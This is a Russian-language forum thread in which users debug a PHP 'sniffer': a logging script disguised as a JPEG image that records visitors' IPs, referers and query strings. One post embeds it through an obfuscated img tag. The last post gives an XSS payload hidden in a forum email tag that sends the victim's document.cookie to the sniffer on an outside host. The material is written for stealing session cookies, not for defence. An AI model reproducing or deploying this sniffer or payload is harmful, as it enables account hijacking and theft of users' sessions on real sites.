Что значит ограничить? Чтобы файл содержал только 10 последних записей?Тогда примерно так <? $f1=file($_SERVER['DOCUMENT_ROOT'].'/log.txt'); $f1[]="<font color=#009900><b>Date:</b> $date</font>\t|$uid|\t<font color=red><b>IP:</b> $ip <b>Real IP(if use proxy):</b>($real_ip)</font><br>\t<font color=red><b>QUERY:</b></font>$query\t<br>$browser\t<br><font color=red><b>REFERER:</b></font>$otkuda\t$win\n<hr color=#666666>"; $f2=fopen($_SERVER['DOCUMENT_ROOT'].'/log.txt', 'w'); for($i=count($f1);$i>count($f1)-10;$i--){ fwrite($f2, $f1[$i]."\n"); } fclose($f); ?>
хмм... Вот что получается Warning: fwrite(): supplied argument is not a valid stream resource in.... Гдето ошибка. Редактор говорит что тут начинается... for($i=count($f1);$i>count($f1)-10;$i--){ fwrite($f2, $f1[$i]."\n"); } fclose($f); ?>
В общем это непашет =\ PHP: <? $date=date("[D|d/m/Y|H:i]"); $ip=$_SERVER["REMOTE_ADDR"]; $query=$_SERVER["QUERY_STRING"]; $real_ip=getenv("HTTP_X_FORWARDED_FOR"); $otkuda=getenv("HTTP_REFERER"); $browser=getenv("HTTP_USER_AGENT"); $win=getenv("windir"); $f1=file($_SERVER["DOCUMENT_ROOT"]."log.html"); $f1[]="<font color=#009900><b>Date:</b> $date</font>\t|$uid|\t<font color=red><b>IP:</b> $ip <b>Real IP(if use proxy):</b>($real_ip)</font><br>\t<font color=red><b>QUERY:</b></font>$query\t<br>$browser\t<br><font color=red><b>REFERER:</b></font>$otkuda\t$win\n<hr color=#666666>"; $f2=fopen($_SERVER["DOCUMENT_ROOT"]."log.html", "w"); for($i=count($f1);$i>count($f1)-10;$i--) { fwrite ($f2, $f1[$i]."\n"); } fclose ($f); print (" <img src='2.jpg'> "); ?>
Не $f1=file($_SERVER["DOCUMENT_ROOT"]."log.html"); а $f1=file($_SERVER["DOCUMENT_ROOT"]."/log.html"); и вообще в следующий раз хоть ошибку выкинь =)
fclose($f); -- это тоже неправильно fclose($f2); -- это правильно И оказывается надо указать путь к лог файлу относительно коренного каталога сайта... Но выводит одну последнюю запись. Теперь вот что получилось и без ошибок: PHP: <? // переменные пропускаю $f1=file($_SERVER["DOCUMENT_ROOT"]."/onelinetoolz/sn/log.html"); $f1[]="<font color=#009900><b>Date:</b> $date</font>\t|$uid|\t<font color=red><b>IP:</b> $ip <b>Real IP(if use proxy):</b>($real_ip)</font><br>\t<font color=red><b>QUERY:</b></font>$query\t<br>$browser\t<br><font color=red><b>REFERER:</b></font>$otkuda\t$win\n<hr color=#666666>"; $f2=fopen($_SERVER["DOCUMENT_ROOT"]."/onelinetoolz/sn/log.html", "w"); for($i=count($f1);$i>count($f1)-10;$i--) { fwrite ($f2, $f1[$i]."\n"); } fclose($f2); print (" <img src='2.jpg'> "); ?>
Ну тоесть этот код: \x3cimg src="http\x3a//******.fatal.ru/*****me.php" name="imaga"\x3e перестает работать если формать файла будит php...
ненадо me.php переименуй в me.jpg и всёравно будет пахать =) Всё дело в .htaccess Если поддержка на хостинге есть то ок всё. Меняй смело расширение
Fatal.ru - бесит!!!!!! arning: file(): Unable to access /www/onelinetoolz/sn/log.html in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 3 Warning: file(/www/onelinetoolz/sn/log.html): failed to open stream: No such file or directory in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 3 Warning: fopen(): SAFE MODE Restriction in effect. The script whose uid is 73095 is not allowed to access /www owned by uid 0 in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 5 Warning: fopen(/www/site/sniffer/log.html): failed to open stream: No such file or directory in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 5 Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8 Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8 Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8 Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8 Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8 Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8 Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8 Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8 Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8 Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8 Warning: fclose(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 10
Мужики... ! Херовато получается =) Каждая запись ложится поверх (затирая) предыдущей. т.е. в логах остаётся только одна последняя... я незнаю чё делать. Я наверно достал =).
Блин, ну сделай вместо $f2=fopen($_SERVER["DOCUMENT_ROOT"]."/onelinetoolz/sn/log.html", "w"); for($i=count($f1);$i>count($f1)-10;$i--) { fwrite ($f2, $f1[$i]."\n"); } так например. Неужели самому сложно додуматься $f2=fopen($_SERVER["DOCUMENT_ROOT"]."/onelinetoolz/sn/log.html", "w"); for($i=count($f1);$i>count($f1)-10;$i--) { $f3=$f3."\n".$f1[$i]; } fwrite ($f2, $f3."\n");
(-=util=-), спасибо тебе большооооое за сниффер! =) Кстати уже есть возможность выборочного удаления?
2 sosk4 Умник, сказано же, нужно оставлять только 10 последних. И причем тут 'a+'? Ты сущность символа '+' после 'a' знаешь?
Народ скажите как устанавливаеться сниффер просто скинуть sn в корневую дерикторию? www.ХОСТ.ru/sn/index.html поменять строку print (" <img src='2.jpg'> "); на print (" <img src='www.ХОСТ.ru/2.jpg'> "); и все? а Xss будет [ Email=mailto:[email protected] ]sssssss[/EMAIL]' style='background:url(javaSCript:document.images[1].scr="http://www.ХОСТ.ru/sn/me.jpg?k:"+document.cookie)'